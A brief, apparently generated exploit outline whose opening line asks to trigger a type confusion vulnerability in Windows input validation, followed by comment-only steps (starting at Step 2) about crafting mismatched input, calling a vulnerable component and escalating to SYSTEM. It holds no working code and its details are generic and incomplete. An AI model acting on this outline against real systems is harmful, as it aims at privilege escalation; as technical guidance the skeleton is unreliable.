Trigger the type confusion vulnerability in Windows input validation.

# The key is to craft an input object whose declared type does not match
# its actual internal representation, exploiting the improper type validation.

# Step 2: Interact with the vulnerable Windows component
# This could involve system calls, API calls, or IOCTL requests
# that fail to properly validate the input type.
# Step 3: Leverage the type confusion to gain elevated privileges
# The improper validation allows bypassing security checks,
# resulting in privilege escalation from low-privileged user to SYSTEM.
